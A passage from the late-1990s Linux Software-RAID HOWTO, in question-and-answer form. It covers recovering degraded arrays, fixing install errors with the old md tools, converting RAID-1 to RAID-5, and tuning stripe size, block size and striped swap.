    If spare drives were configured into the array when it was created and kernel-based reconstruction is enabled, the spare drive will already contain a RAID superblock (written by mkraid), and the kernel will reconstruct its contents automatically (without needing the usual mdstop, replace drive, ckraid, mdrun steps).

    If you are not running automatic reconstruction, and have not configured a hot-spare disk, the procedure described by Gadi Oxman < gadio@netvision.net.il> is recommended:

    • Currently, once the first disk is removed, the RAID set will be running in degraded mode. To restore full operation mode, you need to:
      • stop the array (mdstop /dev/md0)
      • replace the failed drive
      • run ckraid raid.conf to reconstruct its contents
      • run the array again (mdadd, mdrun).
      At this point, the array will be running with all the drives, and again protects against a failure of a single drive.

    Currently, it is not possible to assign single hot-spare disk to several arrays. Each array requires it's own hot-spare.

  10. Q: I would like to have an audible alarm for ``you schmuck, one disk in the mirror is down'', so that the novice sysadmin knows that there is a problem.
    A: The kernel is logging the event with a ``KERN_ALERT'' priority in syslog. There are several software packages that will monitor the syslog files, and beep the PC speaker, call a pager, send e-mail, etc. automatically.
  11. Q: How do I run RAID-5 in degraded mode (with one disk failed, and not yet replaced)?
    A: Gadi Oxman < gadio@netvision.net.il> writes: Normally, to run a RAID-5 set of n drives you have to:
    mdadd /dev/md0 /dev/disk1 ... /dev/disk(n)
mdrun -p5 /dev/md0
    Even if one of the disks has failed, you still have to mdadd it as you would in a normal setup. (?? try using /dev/null in place of the failed disk ??? watch out) Then, The array will be active in degraded mode with (n - 1) drives. If ``mdrun'' fails, the kernel has noticed an error (for example, several faulty drives, or an unclean shutdown). Use ``dmesg'' to display the kernel error messages from ``mdrun''. If the raid-5 set is corrupted due to a power loss, rather than a disk crash, one can try to recover by creating a new RAID superblock:
    mkraid -f --only-superblock raid5.conf
    A RAID array doesn't provide protection against a power failure or a kernel crash, and can't guarantee correct recovery. Rebuilding the superblock will simply cause the system to ignore the condition by marking all the drives as ``OK'', as if nothing happened.
  12. Q: How does RAID-5 work when a disk fails?
    A: The typical operating scenario is as follows:
    • A RAID-5 array is active.
    • One drive fails while the array is active.
    • The drive firmware and the low-level Linux disk/controller drivers detect the failure and report an error code to the MD driver.
    • The MD driver continues to provide an error-free /dev/md0 device to the higher levels of the kernel (with a performance degradation) by using the remaining operational drives.
    • The sysadmin can umount /dev/md0 and mdstop /dev/md0 as usual.
    • If the failed drive is not replaced, the sysadmin can still start the array in degraded mode as usual, by running mdadd and mdrun.
  13. Q:
    A:
  14. Q: Why is there no question 13?
    A: If you are concerned about RAID, High Availability, and UPS, then its probably a good idea to be superstitious as well. It can't hurt, can it?
  15. Q: I just replaced a failed disk in a RAID-5 array. After rebuilding the array, fsck is reporting many, many errors. Is this normal?
    A: No. And, unless you ran fsck in "verify only; do not update" mode, its quite possible that you have corrupted your data. Unfortunately, a not-uncommon scenario is one of accidentally changing the disk order in a RAID-5 array, after replacing a hard drive. Although the RAID superblock stores the proper order, not all tools use this information. In particular, the current version of ckraid will use the information specified with the -f flag (typically, the file /etc/raid5.conf) instead of the data in the superblock. If the specified order is incorrect, then the replaced disk will be reconstructed incorrectly. The symptom of this kind of mistake seems to be heavy & numerous fsck errors.

    And, in case you are wondering, yes, someone lost all of their data by making this mistake. Making a tape backup of all data before reconfiguring a RAID array is strongly recommended.

  16. Q: The QuickStart says that mdstop is just to make sure that the disks are sync'ed. Is this REALLY necessary? Isn't unmounting the file systems enough?
    A: The command mdstop /dev/md0 will:
    • mark it ''clean''. This allows us to detect unclean shutdowns, for example due to a power failure or a kernel crash.
    • sync the array. This is less important after unmounting a filesystem, but is important if the /dev/md0 is accessed directly rather than through a filesystem (for example, by e2fsck).


Software-RAID HOWTO: Troubleshooting Install Problems

 Next Previous Contents

5. Troubleshooting Install Problems

  1. Q: What is the current best known-stable patch for RAID in the 2.0.x series kernels?
    A: As of 18 Sept 1997, it is "2.0.30 + pre-9 2.0.31 + Werner Fink's swapping patch + the alpha RAID patch". As of November 1997, it is 2.0.31 + ... !?
  2. Q: The RAID patches will not install cleanly for me. What's wrong?
    A: Make sure that /usr/include/linux is a symbolic link to /usr/src/linux/include/linux. Make sure that the new files raid5.c, etc. have been copied to their correct locations. Sometimes the patch command will not create new files. Try the -f flag on patch.
  3. Q: While compiling raidtools 0.42, compilation stops trying to include <pthread.h> but it doesn't exist in my system. How do I fix this?
    A: raidtools-0.42 requires linuxthreads-0.6 from: ftp://ftp.inria.fr/INRIA/Projects/cristal/Xavier.Leroy Alternately, use glibc v2.0.
  4. Q: I get the message: mdrun -a /dev/md0: Invalid argument
    A: Use mkraid to initialize the RAID set prior to the first use. mkraid ensures that the RAID array is initially in a consistent state by erasing the RAID partitions. In addition, mkraid will create the RAID superblocks.
  5. Q: I get the message: mdrun -a /dev/md0: Invalid argument The setup was:
    • raid build as a kernel module
    • normal install procedure followed ... mdcreate, mdadd, etc.
    • cat /proc/mdstat shows
          Personalities :
    read_ahead not set
    md0 : inactive sda1 sdb1 6313482 blocks
    md1 : inactive
    md2 : inactive
    md3 : inactive
    • mdrun -a generates the error message /dev/md0: Invalid argument
    A: Try lsmod (or, alternately, cat /proc/modules) to see if the raid modules are loaded. If they are not, you can load them explicitly with the modprobe raid1 or modprobe raid5 command. Alternately, if you are using the autoloader, and expected kerneld to load them and it didn't this is probably because your loader is missing the info to load the modules. Edit /etc/conf.modules and add the following lines:
        alias md-personality-3 raid1
    alias md-personality-4 raid5
  6. Q: While doing mdadd -a I get the error: /dev/md0: No such file or directory. Indeed, there seems to be no /dev/md0 anywhere. Now what do I do?
    A: The raid-tools package will create these devices when you run make install as root. Alternately, you can do the following:
        cd /dev
    ./MAKEDEV md
  7. Q: After creating a raid array on /dev/md0, I try to mount it and get the following error: mount: wrong fs type, bad option, bad superblock on /dev/md0, or too many mounted file systems. What's wrong?
    A: You need to create a file system on /dev/md0 before you can mount it. Use mke2fs.
  8. Q: Truxton Fulton wrote:
    On my Linux 2.0.30 system, while doing a mkraid for a RAID-1 device, during the clearing of the two individual partitions, I got "Cannot allocate free page" errors appearing on the console, and "Unable to handle kernel paging request at virtual address ..." errors in the system log. At this time, the system became quite unusable, but it appears to recover after a while. The operation appears to have completed with no other errors, and I am successfully using my RAID-1 device. The errors are disconcerting though. Any ideas?
    A: This was a well-known bug in the 2.0.30 kernels. It is fixed in the 2.0.31 kernel; alternately, fall back to 2.0.29.
  9. Q: I'm not able to mdrun a RAID-1, RAID-4 or RAID-5 device. If I try to mdrun a mdadd'ed device I get the message ''invalid raid superblock magic''.
    A: Make sure that you've run the mkraid part of the install procedure.
  10. Q: When I access /dev/md0, the kernel spits out a lot of errors like md0: device not running, giving up ! and I/O error.... I've successfully added my devices to the virtual device.
    A: To be usable, the device must be running. Use mdrun -px /dev/md0 where x is l for linear, 0 for RAID-0 or 1 for RAID-1, etc.
  11. Q: I've created a linear md-dev with 2 devices. cat /proc/mdstat shows the total size of the device, but df only shows the size of the first physical device.
    A: You must mkfs your new md-dev before using it the first time, so that the filesystem will cover the whole device.
  12. Q: I've set up /etc/mdtab using mdcreate, I've mdadd'ed, mdrun and fsck'ed my two /dev/mdX partitions. Everything looks okay before a reboot. As soon as I reboot, I get an fsck error on both partitions: fsck.ext2: Attempt to read block from filesystem resulted in short read while trying too open /dev/md0. Why?! How do I fix it?!
    A: During the boot process, the RAID partitions must be started before they can be fsck'ed. This must be done in one of the boot scripts. For some distributions, fsck is called from /etc/rc.d/rc.S, for others, it is called from /etc/rc.d/rc.sysinit. Change this file to mdadd -ar *before* fsck -A is executed. Better yet, it is suggested that ckraid be run if mdadd returns with an error. How do do this is discussed in greater detail in question 14 of the section ''Error Recovery''.
  13. Q: I get the message invalid raid superblock magic while trying to run an array which consists of partitions which are bigger than 4GB.
    A: This bug is now fixed. (September 97) Make sure you have the latest raid code.
  14. Q: I get the message Warning: could not write 8 blocks in inode table starting at 2097175 while trying to run mke2fs on a partition which is larger than 2GB.
    A: This seems to be a problem with mke2fs (November 97). A temporary work-around is to get the mke2fs code, and add #undef HAVE_LLSEEK to e2fsprogs-1.10/lib/ext2fs/llseek.c just before the first #ifdef HAVE_LLSEEK and recompile mke2fs.
  15. Q: ckraid currently isn't able to read /etc/mdtab
    A: The RAID0/linear configuration file format used in /etc/mdtab is obsolete, although it will be supported for a while more. The current, up-to-date config files are currently named /etc/raid1.conf, etc.
  16. Q: The personality modules (raid1.o) are not loaded automatically; they have to be manually modprobe'd before mdrun. How can this be fixed?
    A: To autoload the modules, we can add the following to /etc/conf.modules:
        alias md-personality-3 raid1
    alias md-personality-4 raid5
  17. Q: I've mdadd'ed 13 devices, and now I'm trying to mdrun -p5 /dev/md0 and get the message: /dev/md0: Invalid argument
    A: The default configuration for software RAID is 8 real devices. Edit linux/md.h, change #define MAX_REAL=8 to a larger number, and rebuild the kernel.
  18. Q: I can't make md work with partitions on our latest SPARCstation 5. I suspect that this has something to do with disk-labels.
    A: Sun disk-labels sit in the first 1K of a partition. For RAID-1, the Sun disk-label is not an issue since ext2fs will skip the label on every mirror. For other raid levels (0, linear and 4/5), this appears to be a problem; it has not yet (Dec 97) been addressed.


Software-RAID HOWTO: Supported Hardware & Software

 Next Previous Contents

6. Supported Hardware & Software

  1. Q: I have SCSI adapter brand XYZ (with or without several channels), and disk brand(s) PQR and LMN, will these work with md to create a linear/stripped/mirrored personality?
    A: Yes! Software RAID will work with any disk controller (IDE or SCSI) and any disks. The disks do not have to be identical, nor do the controllers. For example, a RAID mirror can be created with one half the mirror being a SCSI disk, and the other an IDE disk. The disks do not even have to be the same size. There are no restrictions on the mixing & matching of disks and controllers.

    This is because Software RAID works with disk partitions, not with the raw disks themselves. The only recommendation is that for RAID levels 1 and 5, the disk partitions that are used as part of the same set be the same size. If the partitions used to make up the RAID 1 or 5 array are not the same size, then the excess space in the larger partitions is wasted (not used).

  2. Q: I have a twin channel BT-952, and the box states that it supports hardware RAID 0, 1 and 0+1. I have made a RAID set with two drives, the card apparently recognizes them when it's doing it's BIOS startup routine. I've been reading in the driver source code, but found no reference to the hardware RAID support. Anybody out there working on that?
    A: The Mylex/BusLogic FlashPoint boards with RAIDPlus are actually software RAID, not hardware RAID at all. RAIDPlus is only supported on Windows 95 and Windows NT, not on Netware or any of the Unix platforms. Aside from booting and configuration, the RAID support is actually in the OS drivers.

    While in theory Linux support for RAIDPlus is possible, the implementation of RAID-0/1/4/5 in the Linux kernel is much more flexible and should have superior performance, so there's little reason to support RAIDPlus directly.

  3. Q: I want to run RAID with an SMP box. Is RAID SMP-safe?
    A: "I think so" is the best answer available at the time I write this (April 98). A number of users report that they have been using RAID with SMP for nearly a year, without problems. However, as of April 98 (circa kernel 2.1.9x), the following problems have been noted on the mailing list:
    • Adaptec AIC7xxx SCSI drivers are not SMP safe (General note: Adaptec adapters have a long & lengthly history of problems & flakiness in general. Although they seem to be the most easily available, widespread and cheapest SCSI adapters, they should be avoided. After factoring for time lost, frustration, and corrupted data, Adaptec's will prove to be the costliest mistake you'll ever make. That said, if you have SMP problems with 2.1.88, try the patch ftp://ftp.bero-online.ml.org/pub/linux/aic7xxx-5.0.7-linux21.tar.gz I am not sure if this patch has been pulled into later 2.1.x kernels. For further info, take a look at the mail archives for March 98 at http://www.linuxhq.com/lnxlists/linux-raid/lr_9803_01/ As usual, due to the rapidly changing nature of the latest experimental 2.1.x kernels, the problems described in these mailing lists may or may not have been fixed by the time your read this. Caveat Emptor. )
    • IO-APIC with RAID-0 on SMP has been reported to crash in 2.1.90


Software-RAID HOWTO: Modifying an Existing Installation

 Next Previous Contents

7. Modifying an Existing Installation

  1. Q: Are linear MD's expandable? Can a new hard-drive/partition be added, and the size of the existing file system expanded?
    A: Miguel de Icaza < miguel@luthien.nuclecu.unam.mx> writes:
    I changed the ext2fs code to be aware of multiple-devices instead of the regular one device per file system assumption.

    So, when you want to extend a file system, you run a utility program that makes the appropriate changes on the new device (your extra partition) and then you just tell the system to extend the fs using the specified device.

    You can extend a file system with new devices at system operation time, no need to bring the system down (and whenever I get some extra time, you will be able to remove devices from the ext2 volume set, again without even having to go to single-user mode or any hack like that).

    You can get the patch for 2.1.x kernel from my web page:

    http://www.nuclecu.unam.mx/~miguel/ext2-volume
  2. Q: Can I add disks to a RAID-5 array?
    A: Currently, (September 1997) no, not without erasing all data. A conversion utility to allow this does not yet exist. The problem is that the actual structure and layout of a RAID-5 array depends on the number of disks in the array. Of course, one can add drives by backing up the array to tape, deleting all data, creating a new array, and restoring from tape.
  3. Q: What would happen to my RAID1/RAID0 sets if I shift one of the drives from being /dev/hdb to /dev/hdc? Because of cabling/case size/stupidity issues, I had to make my RAID sets on the same IDE controller (/dev/hda and /dev/hdb). Now that I've fixed some stuff, I want to move /dev/hdb to /dev/hdc. What would happen if I just change the /etc/mdtab and /etc/raid1.conf files to reflect the new location?
    A: For RAID-0/linear, one must be careful to specify the drives in exactly the same order. Thus, in the above example, if the original config is
    mdadd /dev/md0 /dev/hda /dev/hdb
    Then the new config *must* be
    mdadd /dev/md0 /dev/hda /dev/hdc
    For RAID-1/4/5, the drive's ''RAID number'' is stored in its RAID superblock, and therefore the order in which the disks are specified is not important. RAID-0/linear does not have a superblock due to it's older design, and the desire to maintain backwards compatibility with this older design.
  4. Q: Can I convert a two-disk RAID-1 mirror to a three-disk RAID-5 array?
    A: Yes. Michael at BizSystems has come up with a clever, sneaky way of doing this. However, like virtually all manipulations of RAID arrays once they have data on them, it is dangerous and prone to human error. Make a backup before you start.

I will make the following assumptions:
---------------------------------------------
disks
original: hda - hdc
raid1 partitions hda3 - hdc3
array name /dev/md0

new hda - hdc - hdd
raid5 partitions hda3 - hdc3 - hdd3
array name: /dev/md1

You must substitute the appropriate disk and partition numbers for
you system configuration. This will hold true for all config file
examples.
--------------------------------------------
DO A BACKUP BEFORE YOU DO ANYTHING
1) recompile kernel to include both raid1 and raid5
2) install new kernel and verify that raid personalities are present
3) disable the redundant partition on the raid 1 array. If this is a
 root mounted partition (mine was) you must be more careful.

 Reboot the kernel without starting raid devices or boot from rescue
 system ( raid tools must be available )

 start non-redundant raid1
mdadd -r -p1 /dev/md0 /dev/hda3

4) configure raid5 but with 'funny' config file, note that there is
  no hda3 entry and hdc3 is repeated. This is needed since the
  raid tools don't want you to do this.
-------------------------------
# raid-5 configuration
raiddev                 /dev/md1
raid-level              5
nr-raid-disks           3
chunk-size              32

# Parity placement algorithm
parity-algorithm        left-symmetric

# Spare disks for hot reconstruction
nr-spare-disks          0

device                  /dev/hdc3
raid-disk               0

device                  /dev/hdc3
raid-disk               1

device                  /dev/hdd3
raid-disk               2
---------------------------------------
 mkraid /etc/raid5.conf
5) activate the raid5 array in non-redundant mode

mdadd -r -p5 -c32k /dev/md1 /dev/hdc3 /dev/hdd3

6) make a file system on the array

mke2fs -b {blocksize} /dev/md1

recommended blocksize by some is 4096 rather than the default 1024.
this improves the memory utilization for the kernel raid routines and
matches the blocksize to the page size. I compromised and used 2048
since I have a relatively high number of small files on my system.

7) mount the two raid devices somewhere

mount -t ext2 /dev/md0 mnt0
mount -t ext2 /dev/md1 mnt1

8) move the data

cp -a mnt0 mnt1

9) verify that the data sets are identical
10) stop both arrays
11) correct the information for the raid5.conf file
  change /dev/md1 to /dev/md0
  change the first disk to read /dev/hda3

12) upgrade the new array to full redundant status
 (THIS DESTROYS REMAINING raid1 INFORMATION)

ckraid --fix /etc/raid5.conf


Software-RAID HOWTO: Performance, Tools & General Bone-headed Questions

 Next Previous Contents

8. Performance, Tools & General Bone-headed Questions

  1. Q: I've created a RAID-0 device on /dev/sda2 and /dev/sda3. The device is a lot slower than a single partition. Isn't md a pile of junk?
    A: To have a RAID-0 device running a full speed, you must have partitions from different disks. Besides, putting the two halves of the mirror on the same disk fails to give you any protection whatsoever against disk failure.
  2. Q: What's the use of having RAID-linear when RAID-0 will do the same thing, but provide higher performance?
    A: It's not obvious that RAID-0 will always provide better performance; in fact, in some cases, it could make things worse. The ext2fs file system scatters files all over a partition, and it attempts to keep all of the blocks of a file contiguous, basically in an attempt to prevent fragmentation. Thus, ext2fs behaves "as if" there were a (variable-sized) stripe per file. If there are several disks concatenated into a single RAID-linear, this will result files being statistically distributed on each of the disks. Thus, at least for ext2fs, RAID-linear will behave a lot like RAID-0 with large stripe sizes. Conversely, RAID-0 with small stripe sizes can cause excessive disk activity leading to severely degraded performance if several large files are accessed simultaneously.

    In many cases, RAID-0 can be an obvious win. For example, imagine a large database file. Since ext2fs attempts to cluster together all of the blocks of a file, chances are good that it will end up on only one drive if RAID-linear is used, but will get chopped into lots of stripes if RAID-0 is used. Now imagine a number of (kernel) threads all trying to random access to this database. Under RAID-linear, all accesses would go to one disk, which would not be as efficient as the parallel accesses that RAID-0 entails.

  3. Q: How does RAID-0 handle a situation where the different stripe partitions are different sizes? Are the stripes uniformly distributed?
    A: To understand this, lets look at an example with three partitions; one that is 50MB, one 90MB and one 125MB. Lets call D0 the 50MB disk, D1 the 90MB disk and D2 the 125MB disk. When you start the device, the driver calculates 'strip zones'. In this case, it finds 3 zones, defined like this:
                Z0 : (D0/D1/D2) 3 x 50 = 150MB  total in this zone
            Z1 : (D1/D2)  2 x 40 = 80MB total in this zone
            Z2 : (D2) 125-50-40 = 35MB total in this zone.
    You can see that the total size of the zones is the size of the virtual device, but, depending on the zone, the striping is different. Z2 is rather inefficient, since there's only one disk. Since ext2fs and most other Unix file systems distribute files all over the disk, you have a 35/265 = 13% chance that a fill will end up on Z2, and not get any of the benefits of striping. (DOS tries to fill a disk from beginning to end, and thus, the oldest files would end up on Z0. However, this strategy leads to severe filesystem fragmentation, which is why no one besides DOS does it this way.)
  4. Q: I have some Brand X hard disks and a Brand Y controller. and am considering using md. Does it significantly increase the throughput? Is the performance really noticeable?
    A: The answer depends on the configuration that you use.

    Linux MD RAID-0 and RAID-linear performance:

    If the system is heavily loaded with lots of I/O, statistically, some of it will go to one disk, and some to the others. Thus, performance will improve over a single large disk. The actual improvement depends a lot on the actual data, stripe sizes, and other factors. In a system with low I/O usage, the performance is equal to that of a single disk.

    Linux MD RAID-1 (mirroring) read performance:

    MD implements read balancing. That is, the RAID-1 code will alternate between each of the (two or more) disks in the mirror, making alternate reads to each. In a low-I/O situation, this won't change performance at all: you will have to wait for one disk to complete the read. But, with two disks in a high-I/O environment, this could as much as double the read performance, since reads can be issued to each of the disks in parallel. For N disks in the mirror, this could improve performance N-fold.

    Linux MD RAID-1 (mirroring) write performance:

    Must wait for the write to occur to all of the disks in the mirror. This is because a copy of the data must be written to each of the disks in the mirror. Thus, performance will be roughly equal to the write performance to a single disk.

    Linux MD RAID-4/5 read performance:

    Statistically, a given block can be on any one of a number of disk drives, and thus RAID-4/5 read performance is a lot like that for RAID-0. It will depend on the data, the stripe size, and the application. It will not be as good as the read performance of a mirrored array.

    Linux MD RAID-4/5 write performance:

    This will in general be considerably slower than that for a single disk. This is because the parity must be written out to one drive as well as the data to another. However, in order to compute the new parity, the old parity and the old data must be read first. The old data, new data and old parity must all be XOR'ed together to determine the new parity: this requires considerable CPU cycles in addition to the numerous disk accesses.

  5. Q: What RAID configuration should I use for optimal performance?
    A: Is the goal to maximize throughput, or to minimize latency? There is no easy answer, as there are many factors that affect performance:
    • operating system - will one process/thread, or many be performing disk access?
    • application - is it accessing data in a sequential fashion, or random access?
    • file system - clusters files or spreads them out (the ext2fs clusters together the blocks of a file, and spreads out files)
    • disk driver - number of blocks to read ahead (this is a tunable parameter)
    • CEC hardware - one drive controller, or many?
    • hd controller - able to queue multiple requests or not? Does it provide a cache?
    • hard drive - buffer cache memory size -- is it big enough to handle the write sizes and rate you want?
    • physical platters - blocks per cylinder -- accessing blocks on different cylinders will lead to seeks.
  6. Q: What is the optimal RAID-5 configuration for performance?
    A: Since RAID-5 experiences an I/O load that is equally distributed across several drives, the best performance will be obtained when the RAID set is balanced by using identical drives, identical controllers, and the same (low) number of drives on each controller. Note, however, that using identical components will raise the probability of multiple simultaneous failures, for example due to a sudden jolt or drop, overheating, or a power surge during an electrical storm. Mixing brands and models helps reduce this risk.
  7. Q: What is the optimal block size for a RAID-4/5 array?
    A: When using the current (November 1997) RAID-4/5 implementation, it is strongly recommended that the file system be created with mke2fs -b 4096 instead of the default 1024 byte filesystem block size.

    This is because the current RAID-5 implementation allocates one 4K memory page per disk block; if a disk block were just 1K in size, then 75% of the memory which RAID-5 is allocating for pending I/O would not be used. If the disk block size matches the memory page size, then the driver can (potentially) use all of the page. Thus, for a filesystem with a 4096 block size as opposed to a 1024 byte block size, the RAID driver will potentially queue 4 times as much pending I/O to the low level drivers without allocating additional memory.

    Note: the above remarks do NOT apply to Software RAID-0/1/linear driver.

    Note: the statements about 4K memory page size apply to the Intel x86 architecture. The page size on Alpha, Sparc, and other CPUS are different; I believe they're 8K on Alpha/Sparc (????). Adjust the above figures accordingly.

    Note: if your file system has a lot of small files (files less than 10KBytes in size), a considerable fraction of the disk space might be wasted. This is because the file system allocates disk space in multiples of the block size. Allocating large blocks for small files clearly results in a waste of disk space: thus, you may want to stick to small block sizes, get a larger effective storage capacity, and not worry about the "wasted" memory due to the block-size/page-size mismatch.

    Note: most ''typical'' systems do not have that many small files. That is, although there might be thousands of small files, this would lead to only some 10 to 100MB wasted space, which is probably an acceptable tradeoff for performance on a multi-gigabyte disk.

    However, for news servers, there might be tens or hundreds of thousands of small files. In such cases, the smaller block size, and thus the improved storage capacity, may be more important than the more efficient I/O scheduling.

    Note: there exists an experimental file system for Linux which packs small files and file chunks onto a single block. It apparently has some very positive performance implications when the average file size is much smaller than the block size.

    Note: Future versions may implement schemes that obsolete the above discussion. However, this is difficult to implement, since dynamic run-time allocation can lead to dead-locks; the current implementation performs a static pre-allocation.

  8. Q: How does the chunk size (stripe size) influence the speed of my RAID-0, RAID-4 or RAID-5 device?
    A: The chunk size is the amount of data contiguous on the virtual device that is also contiguous on the physical device. In this HOWTO, "chunk" and "stripe" refer to the same thing: what is commonly called the "stripe" in other RAID documentation is called the "chunk" in the MD man pages. Stripes or chunks apply only to RAID 0, 4 and 5, since stripes are not used in mirroring (RAID-1) and simple concatenation (RAID-linear). The stripe size affects both read and write latency (delay), throughput (bandwidth), and contention between independent operations (ability to simultaneously service overlapping I/O requests).

    Assuming the use of the ext2fs file system, and the current kernel policies about read-ahead, large stripe sizes are almost always better than small stripe sizes, and stripe sizes from about a fourth to a full disk cylinder in size may be best. To understand this claim, let us consider the effects of large stripes on small files, and small stripes on large files. The stripe size does not affect the read performance of small files: For an array of N drives, the file has a 1/N probability of being entirely within one stripe on any one of the drives. Thus, both the read latency and bandwidth will be comparable to that of a single drive. Assuming that the small files are statistically well distributed around the filesystem, (and, with the ext2fs file system, they should be), roughly N times more overlapping, concurrent reads should be possible without significant collision between them. Conversely, if very small stripes are used, and a large file is read sequentially, then a read will issued to all of the disks in the array. For a the read of a single large file, the latency will almost double, as the probability of a block being 3/4'ths of a revolution or farther away will increase. Note, however, the trade-off: the bandwidth could improve almost N-fold for reading a single, large file, as N drives can be reading simultaneously (that is, if read-ahead is used so that all of the disks are kept active). But there is another, counter-acting trade-off: if all of the drives are already busy reading one file, then attempting to read a second or third file at the same time will cause significant contention, ruining performance as the disk ladder algorithms lead to seeks all over the platter. Thus, large stripes will almost always lead to the best performance. The sole exception is the case where one is streaming a single, large file at a time, and one requires the top possible bandwidth, and one is also using a good read-ahead algorithm, in which case small stripes are desired.

    Note that this HOWTO previously recommended small stripe sizes for news spools or other systems with lots of small files. This was bad advice, and here's why: news spools contain not only many small files, but also large summary files, as well as large directories. If the summary file is larger than the stripe size, reading it will cause many disks to be accessed, slowing things down as each disk performs a seek. Similarly, the current ext2fs file system searches directories in a linear, sequential fashion. Thus, to find a given file or inode, on average half of the directory will be read. If this directory is spread across several stripes (several disks), the directory read (e.g. due to the ls command) could get very slow. Thanks to Steven A. Reisman < sar@pressenter.com> for this correction. Steve also adds:

    I found that using a 256k stripe gives much better performance. I suspect that the optimum size would be the size of a disk cylinder (or maybe the size of the disk drive's sector cache). However, disks nowadays have recording zones with different sector counts (and sector caches vary among different disk models). There's no way to guarantee stripes won't cross a cylinder boundary.

    The tools accept the stripe size specified in KBytes. You'll want to specify a multiple of if the page size for your CPU (4KB on the x86).

  9. Q: What is the correct stride factor to use when creating the ext2fs file system on the RAID partition? By stride, I mean the -R flag on the mke2fs command:
    mke2fs -b 4096 -R stride=nnn  ...
    What should the value of nnn be?
    A: The -R stride flag is used to tell the file system about the size of the RAID stripes. Since only RAID-0,4 and 5 use stripes, and RAID-1 (mirroring) and RAID-linear do not, this flag is applicable only for RAID-0,4,5. Knowledge of the size of a stripe allows mke2fs to allocate the block and inode bitmaps so that they don't all end up on the same physical drive. An unknown contributor wrote:
    I noticed last spring that one drive in a pair always had a larger I/O count, and tracked it down to the these meta-data blocks. Ted added the -R stride= option in response to my explanation and request for a workaround.
    For a 4KB block file system, with stripe size 256KB, one would use -R stride=64.

    If you don't trust the -R flag, you can get a similar effect in a different way. Steven A. Reisman < sar@pressenter.com> writes:

    Another consideration is the filesystem used on the RAID-0 device. The ext2 filesystem allocates 8192 blocks per group. Each group has its own set of inodes. If there are 2, 4 or 8 drives, these inodes cluster on the first disk. I've distributed the inodes across all drives by telling mke2fs to allocate only 7932 blocks per group.
    Some mke2fs pages do not describe the [-g blocks-per-group] flag used in this operation.
  10. Q: Where can I put the md commands in the startup scripts, so that everything will start automatically at boot time?
    A: Rod Wilkens < rwilkens@border.net> writes:
    What I did is put ``mdadd -ar'' in the ``/etc/rc.d/rc.sysinit'' right after the kernel loads the modules, and before the ``fsck'' disk check. This way, you can put the ``/dev/md?'' device in the ``/etc/fstab''. Then I put the ``mdstop -a'' right after the ``umount -a'' unmounting the disks, in the ``/etc/rc.d/init.d/halt'' file.
    For raid-5, you will want to look at the return code for mdadd, and if it failed, do a
    ckraid --fix /etc/raid5.conf
    to repair any damage.
  11. Q: I was wondering if it's possible to setup striping with more than 2 devices in md0? This is for a news server, and I have 9 drives... Needless to say I need much more than two. Is this possible?
    A: Yes. (describe how to do this)
  12. Q: When is Software RAID superior to Hardware RAID?
    A: Normally, Hardware RAID is considered superior to Software RAID, because hardware controllers often have a large cache, and can do a better job of scheduling operations in parallel. However, integrated Software RAID can (and does) gain certain advantages from being close to the operating system.

    For example, ... ummm. Opaque description of caching of reconstructed blocks in buffer cache elided ...

    On a dual PPro SMP system, it has been reported that Software-RAID performance exceeds the performance of a well-known hardware-RAID board vendor by a factor of 2 to 5.

    Software RAID is also a very interesting option for high-availability redundant server systems. In such a configuration, two CPU's are attached to one set or SCSI disks. If one server crashes or fails to respond, then the other server can mdadd, mdrun and mount the software RAID array, and take over operations. This sort of dual-ended operation is not always possible with many hardware RAID controllers, because of the state configuration that the hardware controllers maintain.

  13. Q: If I upgrade my version of raidtools, will it have trouble manipulating older raid arrays? In short, should I recreate my RAID arrays when upgrading the raid utilities?
    A: No, not unless the major version number changes. An MD version x.y.z consists of three sub-versions:
         x:      Major version.
     y:      Minor version.
     z:      Patchlevel version.
    Version x1.y1.z1 of the RAID driver supports a RAID array with version x2.y2.z2 in case (x1 == x2) and (y1 >= y2). Different patchlevel (z) versions for the same (x.y) version are designed to be mostly compatible.

    The minor version number is increased whenever the RAID array layout is changed in a way which is incompatible with older versions of the driver. New versions of the driver will maintain compatibility with older RAID arrays.

    The major version number will be increased if it will no longer make sense to support old RAID arrays in the new kernel code.

    For RAID-1, it's not likely that the disk layout nor the superblock structure will change anytime soon. Most all Any optimization and new features (reconstruction, multithreaded tools, hot-plug, etc.) doesn't affect the physical layout.

  14. Q: The command mdstop /dev/md0 says that the device is busy.
    A: There's a process that has a file open on /dev/md0, or /dev/md0 is still mounted. Terminate the process or umount /dev/md0.
  15. Q: Are there performance tools?
    A: There is also a new utility called iotrace in the linux/iotrace directory. It reads /proc/io-trace and analyses/plots it's output. If you feel your system's block IO performance is too low, just look at the iotrace output.
  16. Q: I was reading the RAID source, and saw the value SPEED_LIMIT defined as 1024K/sec. What does this mean? Does this limit performance?
    A: SPEED_LIMIT is used to limit RAID reconstruction speed during automatic reconstruction. Basically, automatic reconstruction allows you to e2fsck and mount immediately after an unclean shutdown, without first running ckraid. Automatic reconstruction is also used after a failed hard drive has been replaced.

    In order to avoid overwhelming the system while reconstruction is occurring, the reconstruction thread monitors the reconstruction speed and slows it down if its too fast. The 1M/sec limit was arbitrarily chosen as a reasonable rate which allows the reconstruction to finish reasonably rapidly, while creating only a light load on the system so that other processes are not interfered with.

  17. Q: What about ''spindle synchronization'' or ''disk synchronization''?
    A: Spindle synchronization is used to keep multiple hard drives spinning at exactly the same speed, so that their disk platters are always perfectly aligned. This is used by some hardware controllers to better organize disk writes. However, for software RAID, this information is not used, and spindle synchronization might even hurt performance.
  18. Q: How can I set up swap spaces using raid 0? Wouldn't striped swap ares over 4+ drives be really fast?
    A: Leonard N. Zubkoff replies: It is really fast, but you don't need to use MD to get striped swap. The kernel automatically stripes across equal priority swap spaces. For example, the following entries from /etc/fstab stripe swap space across five drives in three groups:
    /dev/sdg1       swap    swap    pri=3
/dev/sdk1       swap    swap    pri=3
/dev/sdd1       swap    swap    pri=3
/dev/sdh1       swap    swap    pri=3
/dev/sdl1       swap    swap    pri=3
/dev/sdg2       swap    swap    pri=2
/dev/sdk2       swap    swap    pri=2
/dev/sdd2       swap    swap    pri=2
/dev/sdh2       swap    swap    pri=2
/dev/sdl2       swap    swap    pri=2
/dev/sdg3       swap    swap    pri=1
/dev/sdk3       swap    swap    pri=1
/dev/sdd3       swap    swap    pri=1
/dev/sdh3       swap    swap    pri=1
/dev/sdl3       swap    swap    pri=1
  19. Q: I want to maximize performance. Should I use multiple controllers?
